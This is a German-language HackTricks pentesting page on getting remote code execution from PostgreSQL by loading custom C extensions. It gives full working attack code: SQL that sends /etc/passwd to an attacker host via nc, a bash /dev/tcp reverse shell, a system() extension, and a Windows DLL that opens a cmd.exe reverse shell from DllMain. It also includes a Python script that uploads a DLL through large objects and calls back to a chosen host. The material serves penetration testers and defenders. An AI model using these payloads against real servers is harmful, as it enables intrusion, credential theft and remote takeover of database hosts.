RCE with PostgreSQL Extensions

Unterstützen Sie HackTricks

PostgreSQL-Erweiterungen

PostgreSQL wurde mit Erweiterbarkeit als Kernfunktion entwickelt, die es ermöglicht, Erweiterungen nahtlos zu integrieren, als wären sie integrierte Funktionen. Diese Erweiterungen, im Wesentlichen in C geschriebene Bibliotheken, bereichern die Datenbank mit zusätzlichen Funktionen, Operatoren oder Typen.

Seit Version 8.1 wird eine spezifische Anforderung an die Erweiterungsbibliotheken gestellt: Sie müssen mit einem speziellen Header kompiliert werden. Ohne diesen wird PostgreSQL sie nicht ausführen, um sicherzustellen, dass nur kompatible und potenziell sichere Erweiterungen verwendet werden.

Denken Sie auch daran, dass wenn Sie nicht wissen, wie man Dateien auf das Opfer hochlädt, indem man PostgreSQL missbraucht, sollten Sie diesen Beitrag lesen.

RCE in Linux

Für weitere Informationen siehe: https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/

Die Ausführung von Systembefehlen aus PostgreSQL 8.1 und früheren Versionen ist ein Prozess, der klar dokumentiert und unkompliziert ist. Es ist möglich, dieses: Metasploit-Modul zu verwenden.

CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');

# You can also create functions to open and write files
CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS '/lib/libc.so.6', 'open' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS '/lib/libc.so.6', 'write' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' LANGUAGE 'C' STRICT;
Schreibe Binärdatei aus base64

Um eine Binärdatei in eine Datei in Postgres zu schreiben, müssen Sie möglicherweise base64 verwenden, das wird in diesem Fall hilfreich sein:

CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
$$
DECLARE
fh int;
s int;
w bytea;
i int;
BEGIN
SELECT open(textout(file)::cstring, 522, 448) INTO fh;

IF fh <= 2 THEN
RETURN 1;
END IF;

SELECT decode(s, 'base64') INTO w;

i := 0;
LOOP
EXIT WHEN i >= octet_length(w);

SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;

IF rs < 0 THEN
RETURN 2;
END IF;

i := i + 1;
END LOOP;

SELECT close(fh) INTO rs;

RETURN 0;

END;
$$ LANGUAGE 'plpgsql';

Allerdings wurde bei dem Versuch auf höheren Versionen der folgende Fehler angezeigt:

ERROR:  incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
HINT:  Extension libraries are required to use the PG_MODULE_MAGIC macro.

Dieser Fehler wird in der PostgreSQL-Dokumentation erklärt:

Um sicherzustellen, dass eine dynamisch geladene Objektdatei nicht in einen inkompatiblen Server geladen wird, überprüft PostgreSQL, ob die Datei einen „magischen Block“ mit den entsprechenden Inhalten enthält. Dies ermöglicht es dem Server, offensichtliche Inkompatibilitäten zu erkennen, wie z.B. Code, der für eine andere Hauptversion von PostgreSQL kompiliert wurde. Ein magischer Block ist seit PostgreSQL 8.2 erforderlich. Um einen magischen Block einzufügen, schreiben Sie dies in eine (und nur eine) der Modulquellcodedateien, nachdem Sie die Header-Datei fmgr.h eingebunden haben:

#ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif

Seit der PostgreSQL-Version 8.2 ist es für einen Angreifer schwieriger geworden, das System auszunutzen. Der Angreifer muss entweder eine Bibliothek verwenden, die bereits auf dem System vorhanden ist, oder eine benutzerdefinierte Bibliothek hochladen. Diese benutzerdefinierte Bibliothek muss gegen die kompatible Hauptversion von PostgreSQL kompiliert werden und muss einen spezifischen "magischen Block" enthalten. Diese Maßnahme erhöht die Schwierigkeit, PostgreSQL-Systeme auszunutzen, erheblich, da sie ein tieferes Verständnis der Systemarchitektur und der Versionskompatibilität erfordert.

Bibliothek kompilieren

Holen Sie sich die PostgreSQL-Version mit:

SELECT version();
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit

Für die Kompatibilität ist es entscheidend, dass die Hauptversionen übereinstimmen. Daher sollte das Kompilieren einer Bibliothek mit einer beliebigen Version innerhalb der 9.6.x-Serie eine erfolgreiche Integration gewährleisten.

Um diese Version in Ihrem System zu installieren:

apt install postgresql postgresql-server-dev-9.6

Und kompilieren Sie die Bibliothek:

//gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
#include <string.h>
#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

PG_FUNCTION_INFO_V1(pg_exec);
Datum pg_exec(PG_FUNCTION_ARGS) {
char* command = PG_GETARG_CSTRING(0);
PG_RETURN_INT32(system(command));
}

Dann laden Sie die kompilierte Bibliothek hoch und führen Sie Befehle mit aus:

CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
#Notice the double single quotes are needed to scape the qoutes

Sie können diese Bibliothek vorcompiliert für mehrere verschiedene PostgreSQL-Versionen finden und sogar diesen Prozess automatisieren (wenn Sie PostgreSQL-Zugriff haben) mit:

RCE in Windows

Die folgende DLL nimmt als Eingabe den Namen der Binärdatei und die Anzahl der Male, die Sie sie ausführen möchten, und führt sie aus:

#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <stdio.h>
#include "utils/builtins.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(pgsql_exec);

/* this function launches the executable passed in as the first parameter
in a FOR loop bound by the second parameter that is also passed*/
Datum
pgsql_exec(PG_FUNCTION_ARGS)
{
/* convert text pointer to C string */
#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))

/* retrieve the second argument that is passed to the function (an integer)
that will serve as our counter limit*/

int instances = PG_GETARG_INT32(1);

for (int c = 0; c < instances; c++) {
/*launch the process passed in the first parameter*/
ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
}
PG_RETURN_VOID();
}

Sie können die kompilierte DLL in diesem Zip finden:

4KB
pgsql_exec.zip
archive

Sie können dieser DLL angeben, welches Binary ausgeführt werden soll und die Anzahl der Ausführungen, in diesem Beispiel wird calc.exe 2 Mal ausgeführt:

CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECT remote_exec('calc.exe', 2);
DROP FUNCTION remote_exec(text, integer);

In hier finden Sie diese Reverse-Shell:

#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
#define PG_REVSHELL_CALLHOME_PORT "4444"

#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <winsock2.h>

#pragma comment(lib,"ws2_32")

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

#pragma warning(push)
#pragma warning(disable: 4996)
#define _WINSOCK_DEPRECATED_NO_WARNINGS

BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL,
_In_ DWORD fdwReason,
_In_ LPVOID lpvReserved)
{
WSADATA wsaData;
SOCKET wsock;
struct sockaddr_in server;
char ip_addr[16];
STARTUPINFOA startupinfo;
PROCESS_INFORMATION processinfo;

char *program = "cmd.exe";
const char *ip = PG_REVSHELL_CALLHOME_SERVER;
u_short port = atoi(PG_REVSHELL_CALLHOME_PORT);

WSAStartup(MAKEWORD(2, 2), &wsaData);
wsock = WSASocket(AF_INET, SOCK_STREAM,
IPPROTO_TCP, NULL, 0, 0);

struct hostent *host;
host = gethostbyname(ip);
strcpy_s(ip_addr, sizeof(ip_addr),
inet_ntoa(*((struct in_addr *)host->h_addr)));

server.sin_family = AF_INET;
server.sin_port = htons(port);
server.sin_addr.s_addr = inet_addr(ip_addr);

WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server),
NULL, NULL, NULL, NULL);

memset(&startupinfo, 0, sizeof(startupinfo));
startupinfo.cb = sizeof(startupinfo);
startupinfo.dwFlags = STARTF_USESTDHANDLES;
startupinfo.hStdInput = startupinfo.hStdOutput =
startupinfo.hStdError = (HANDLE)wsock;

CreateProcessA(NULL, program, NULL, NULL, TRUE, 0,
NULL, NULL, &startupinfo, &processinfo);

return TRUE;
}

#pragma warning(pop) /* re-enable 4996 */

/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum dummy_function(PG_FUNCTION_ARGS);

PG_FUNCTION_INFO_V1(add_one);

Datum dummy_function(PG_FUNCTION_ARGS)
{
int32 arg = PG_GETARG_INT32(0);

PG_RETURN_INT32(arg + 1);
}

Beachten Sie, dass in diesem Fall der schadhafte Code sich innerhalb der DllMain-Funktion befindet. Das bedeutet, dass in diesem Fall nicht notwendig ist, die geladene Funktion in postgresql auszuführen, sondern dass das Laden der DLL die Reverse-Shell ausführen wird:

CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;

Das PolyUDF-Projekt ist ebenfalls ein guter Ausgangspunkt mit dem vollständigen MS Visual Studio-Projekt und einer einsatzbereiten Bibliothek (einschließlich: command eval, exec und cleanup) mit Unterstützung für mehrere Versionen.

RCE in den neuesten PostgreSQL-Versionen

In den neuesten Versionen von PostgreSQL wurden Einschränkungen eingeführt, bei denen der superuser verboten ist, Shared Library-Dateien außer aus bestimmten Verzeichnissen zu laden, wie z.B. C:\Program Files\PostgreSQL\11\lib unter Windows oder /var/lib/postgresql/11/lib auf *nix-Systemen. Diese Verzeichnisse sind gegen Schreiboperationen durch entweder die NETWORK_SERVICE- oder postgres-Konten gesichert.

Trotz dieser Einschränkungen ist es einem authentifizierten Datenbank-superuser möglich, binäre Dateien im Dateisystem mithilfe von "Large Objects" zu schreiben. Diese Fähigkeit erstreckt sich auf das Schreiben im Verzeichnis C:\Program Files\PostgreSQL\11\data, das für Datenbankoperationen wie das Aktualisieren oder Erstellen von Tabellen unerlässlich ist.

Eine erhebliche Schwachstelle ergibt sich aus dem Befehl CREATE FUNCTION, der Verzeichnisdurchquerung in das Datenverzeichnis erlaubt. Folglich könnte ein authentifizierter Angreifer diese Durchquerung ausnutzen, um eine Shared Library-Datei in das Datenverzeichnis zu schreiben und sie dann zu laden. Dieser Exploit ermöglicht es dem Angreifer, beliebigen Code auszuführen und native Codeausführung auf dem System zu erreichen.

Angriffsfluss

Zunächst müssen Sie Large Objects verwenden, um die dll hochzuladen. Sie können sehen, wie das geht, hier:

Big Binary Files Upload (PostgreSQL)

Sobald Sie die Erweiterung (mit dem Namen poc.dll für dieses Beispiel) in das Datenverzeichnis hochgeladen haben, können Sie sie mit folgendem Befehl laden:

create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);

Beachten Sie, dass Sie die .dll-Erweiterung nicht anhängen müssen, da die Funktion create sie hinzufügen wird.

Für weitere Informationen lesen Sie die ursprüngliche Veröffentlichung hier. In dieser Veröffentlichung wurde dies der Code verwendet, um die Postgres-Erweiterung zu generieren (um zu lernen, wie man eine Postgres-Erweiterung kompiliert, lesen Sie eine der vorherigen Versionen). Auf derselben Seite wurde dieser Exploit zur Automatisierung dieser Technik bereitgestellt:

#!/usr/bin/env python3
import sys

if len(sys.argv) != 4:
print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv[0])
print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0])
sys.exit(1)

host = sys.argv[1]
port = int(sys.argv[2])
lib = sys.argv[3]
with open(lib, "rb") as dll:
d = dll.read()
sql = "select lo_import('C:/Windows/win.ini', 1337);"
for i in range(0, len(d)//2048):
start = i * 2048
end   = (i+1) * 2048
if i == 0:
sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex())
else:
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
if (len(d) % 2048) != 0:
end   = (i+1) * 2048
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())

sql += "select lo_export(1337, 'poc.dll');"
sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"
sql += "select connect_back('%s', %d);" % (host, port)
print("(+) building poc.sql file")
with open("poc.sql", "w") as sqlfile:
sqlfile.write(sql)
print("(+) run poc.sql in PostgreSQL using the superuser")
print("(+) for a db cleanup only, run the following sql:")
print("    select lo_unlink(l.oid) from pg_largeobject_metadata l;")
print("    drop function connect_back(text, integer);")

Referenzen

Unterstützen Sie HackTricks

Last updated